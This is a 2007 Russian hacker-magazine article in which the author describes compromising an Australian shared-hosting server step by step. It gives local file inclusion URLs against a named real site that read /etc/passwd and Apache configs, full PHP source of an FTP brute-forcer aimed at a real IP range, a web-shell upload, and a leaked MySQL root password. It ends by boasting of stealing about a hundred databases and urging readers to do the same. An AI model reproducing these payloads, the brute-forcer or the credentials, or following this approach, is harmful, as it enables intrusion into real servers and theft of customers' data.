Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #108, ДЕКАБРЬ 2007 г.

Покоряем хостинг

Леонид «R0id» Стройков (stroikov@gameland.ru)

Хакер, номер #108, стр. 108-064-1

Проникновение на зарубежную хост-площадку

В последнее время в Сети появилось огромное множество хостингов. Надо сказать, этому существенно способствует распространение реселлерских планов, которые есть практически везде: от shared-контор и до VDS/VPS-площадок. А действительно, почему бы не перепродавать чьи-то серверы? :) И ведь перепродают, гады! В свое время положительным образом на этот вопрос ответила для себя добрая половина ру-хостеров, причем за бугром ситуация не сильно отличается. Вот только о качественном администрировании своих производственных агрегатов задумываются очень редко (либо не задумываются вообще :)). Особенно это касается криво написанных хост-панелей и еще более криво написанных серверов под shared-хостинг. Нам, хакерам, такое положение дел только на руку, ведь задача сильно упрощается, а результат превосходит все ожидания. В доказательство этого утверждения расскажу тебе о своей практике. Жертвой в этот раз, как ты уже догадался, стал респектабельный хостинг с солнечного континента :).

С чего начинаются взломы

Расположившись прохладным осенним вечером дома на диване, я привычно всматривался в экран ноутбука, играя с очередным поломанным сервером :). Постепенно это занятие мне наскучило, и я уже начал мысленно собираться за пивом, как вдруг окошко ICQ-клиента приветливо мигнуло, сигнализируя о новой полученной мессаге. Стучал один из моих старых знакомых, с которым мы нередко обмениваемся свежими багами. Вот и в этот раз он скинул мне линк на какой-то бажный ресурс, коротко сообщив, что «игра стоит свеч». Задавать вопросов, зная товарища, я не стал, а просто скопировал ссылочку - www.harbison.com.au - в адресную строку своего браузера. Лениво надавив на <Enter>, я увидел пагу из разряда home sites. Усмехнувшись я было подумал, что приятель хотел разыграть меня. Предчувствие усилилось и после обнаружения типичного локального инклуда:

http://www.harbison.com.au/view.php?page=../../../../../../../../etc/passwd

«Ну на кой мне этот баг, да еще и на хом-паге?» - не переставал думать я. Однако подобные шутки не были присущи моему знакомому, а желание уточнить детали в асе быстро обломалось - хакер скрылся в оффлайне. В такой ситуации мне оставалось только одно - разобраться во всем самому, тем более что любопытство уже владело мной :).

Первым делом я обнаружил конфиг Апача, который был заботливо размещен в стандартном каталоге:

http://www.harbison.com.au/view.php?page=../../../../../../../../etc/httpd/conf/httpd.conf

Особенно меня заинтересовало описание виртуальных хостов, имеющее следующий вид:

Include /etc/httpd/conf/vhosts/site1

Include /etc/httpd/conf/vhosts/site2

Include /etc/httpd/conf/vhosts/site3

Include /etc/httpd/conf/vhosts/site4

Include /etc/httpd/conf/vhosts/site5

Include /etc/httpd/conf/vhosts/site6

Include /etc/httpd/conf/vhosts/site7

Include /etc/httpd/conf/vhosts/site8

Include /etc/httpd/conf/vhosts/site9

Таких записей в конфиге я обнаружил около пяти сотен! Смутные подозрения постепенно окутывали мое сознание. А что если админ aka root неправильно выставил права на своем shared-хостинге? Ведь тогда я бы мог получить доступ на чтение к содержимому веб-каталогов всех ресурсов, располагающихся на сервере. Проверить возникшую идею не составило никаких проблем:

http://www.harbison.com.au/view.php?page=../../../../../../../../etc/httpd/conf/vhosts/site1

Запрос успешно выполнился, и через две секунды я уже изучал полный путь до web-каталога первого ресурса (site1):

<VirtualHost 202.6.141.212>

ServerName webhost-12.adam.com.au

ServerAdmin admin

DocumentRoot /home/.sites/28/site1/web

Домен привлек мое внимание сразу, поэтому я не поленился прогуляться по адресу http://webhost-12.adam.com.au. Как и ожидалось, сайт принадлежал хостингу. Теперь я окончательно убедился в добрых намерениях знакомого, скинувшего мне баг :). Единственным смущавшим меня моментом был www.domainsdb.net, который наотрез не хотел делиться даже IP-адресом ломаемого мной сервера, не говоря уже о полном перечне доменов. В конце концов я списал это обстоятельство на глючность DOMAINSDB-сервиса :).

Перебрав еще с десяток ресурсов, я пришел к выводу, что ничего полезного из того, что есть, не извлечь. Трабла заключалась в том, что бажный скрипт view.php именно инклудил файлы, а это само по себе обламывало возможность чтения чужого PHP-конфига. Идеальным вариантом был залив картинки/аватарки с содержащимся на борту PHP-кодом, но и здесь возникло несколько проблем. Во-первых, поиск полного пути для требуемого портала мог растянуться на часы (vhosts содержал в себе около 500 записей), а во-вторых, обнаружить форум/чат/аплоадер на каком-либо из хостящихся ресурсов оказалось совсем не просто. В итоге, промучившись час с лишним, я оставил эту затею.

Альтернативный путь

Что ж, пора было приступать к обдумыванию альтернативных вариантов атаки, поскольку после первой, предварительной части работы на руках у меня был всего лишь криво настроенный shared-хостинг с инклудом на одном из ресурсов. Сперва я решил пробежаться по сайту хостера (http://webhost-12.adam.com.au), а заодно и оценить масштаб будущей наживы :). И тут мне случайно подвернулся phpinfo():

http://webhost-12.adam.com.au/phpinfo.php

Он простодушно поделился со мной версией серверной оси:

Linux dev.lesoleil.com 2.4.16C12_V #1 Thu Apr 4 22:06:23 PST 2002 i686 unknown

Ядрышко было явно несвежим, но трогать его я пока не стал по причине появления новой задумки. Как ты понимаешь, гулять по серваку с завязанными глазами (да еще и с ограниченными правами) не очень приятно, поэтому в большинстве случаев я стараюсь читать лежащие в стандартных каталогах конфиги. Вспомнив о ftpusers, я, не теряя времени, заглянул и в него. Располагался он, как и следовало ожидать, в /etc/ftpusers:

# accounts are not allowed to ftp in

bin

adm

daemon

root

nscd

mail

shutdown

httpd

named

sync

news

lp

halt

uucp

nobody

pop

postgres

mysql

squid

pcap

Увы, но root'овый аккаунт был отключен, а вместе с ним еще десятка два акков. Тогда недолго думая я подредактировал свои userlist и passlist, включив в каждых из них по несколько распространенных записей. Как ты уже догадался, я собирался запустить FTP-брут. Вот только заюзать на этот раз нужно было свой скрипт, который смог бы пробежаться по нужному мне диапазону IP-адресов. Недолго думая, я взял в руки клаву и, вооружившись PHP, накодил требуемый брутер:

<?

ignore_user_abort(1);

set_time_limit(0);

$fd = fopen("./ftp_users.txt", "r");

$fl = fopen("./ftp_dict.txt", "r");

$fr = fopen("./ftp_log.txt", "a");

$i=206;

while($i<214){

$host = "202.6.141.$i";

while(!feof($fd)){

$user = fgets($fd);

while(!feof($fl)){

$pass = fgets($fl);

$connect = ftp_connect($host);

if(!$connect){

fputs($fr, "Enable connect to $host\n");

break;

}else{

$auth = ftp_login($connect, $user, $pass);

if(!$auth){

fputs($fr, "$host:$user:$pass - incorrect\n");

ftp_quit($connect);

}else{

fputs($fr, "$host:$user:$pass - CORRECT\n");

ftp_quit($connect);

}

}

}

}

$i++;

}

fclose($fl);

fclose($fd);

fputs($fr, "Done:\n");

fclose($fr);

?>

Как видишь, все достаточно просто: ftp_dict.txt - файл с паролями, ftp_users.txt - юзернейм-файл, а ftp_log.txt - лог брутера. Далее идет цикл по заранее заданному диапазону IP'шников, в котором, собственно, и осуществляется перебор паролей/логинов. Забегая вперед, скажу, что я надеялся найти конкретного юзера – admin, так как его запись мне уже попадалась в одном из серверных конфигов. Однако после окончания брута я был ошарашен.

Нет, админский акк остался цел, но вот одна из тестовых записей не была отключена! Таким образом, ко мне попал полноценный аккаунт вида:

202.6.141.212:ftp:ftp (логин - ftp, пароль - ftp)

По опыту отмечу, что иногда админ после установки и настройки FTP-сервера забывает отключить тестовую учетку, которая, как правило, содержит детский пароль. Так получилось и на этот раз :).

Поначалу я считал, что дело сделано, но ситуация оказалось куда сложнее, чем я думал. Трабла состояла в невозможности заливки своих файлов на FTP, то есть прав, по всей видимости, хватало, но сервер постоянно выплевывал 550-ю ошибку. Экспериментальным путем я таки нашел выход: один из HTML-файлов в веб-дире был изменен на .php, после чего я слил его себе на винт и заменил содержимое PHP-шеллом. В результате подобных манипуляций мне удалось залить веб-шелл.

Но и на этом приключения не закончились. Теперь передо мной стояла задача поиска залитого ранее php-shell'а. Если ты не въехал, коротко поясню: к FTP я коннектился на основной IP-адрес сервера - 202.6.141.212, но по этому адресу моего скрипта не наблюдалось. Следовательно, сбрученный мной FTP-акк был привязан к одному из 500 ресурсов. Но, как известно, кто ищет - тот найдет. И я нашел. Достаточно было стянуть с FTP’шника index-пагу и изучить ее содержимое - домен определился сам собой :). Получив заветный шелл, я испытал истинное наслаждение, но самое интересное ожидало меня впереди.

Окончательный расклад

Побродив по серверу, я обнаружил, что кроме старенького ядра, там находился еще и бажный sendmail :). Но все это было мелочью по сравнению с рутовым аккаунтом от всеми нами любимого мускула:

localhost:root:paphp8634

Пароль, кстати, я не сбрутил, а нашел в открытом виде в одном из конфигов (ну очень тупой админ попался). В MySQL лежало около сотни баз, что не могло не радовать. Слив нажитое «честным путем» чужое добро, я удалился восвояси, пожелав администратору здоровья и удачной карьеры :). Практика слива «найденных» БД тебе уже должна быть хорошо знакома, поэтому повторяться не буду – разберешься сам. Я лишь, пользуясь случаем, поздравляю тебя с Новым годом и желаю тебе сотни подобных хостингов с самыми большими и запоминающимися базами. Удачи :).

Danger

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

Info

Иногда админы забывают отключить тестовые FTP-акки, помни об этом!

Банальными инклудами и инъектами уже не обойдешься, надо совмещать атаки и экспериментировать.

Содержание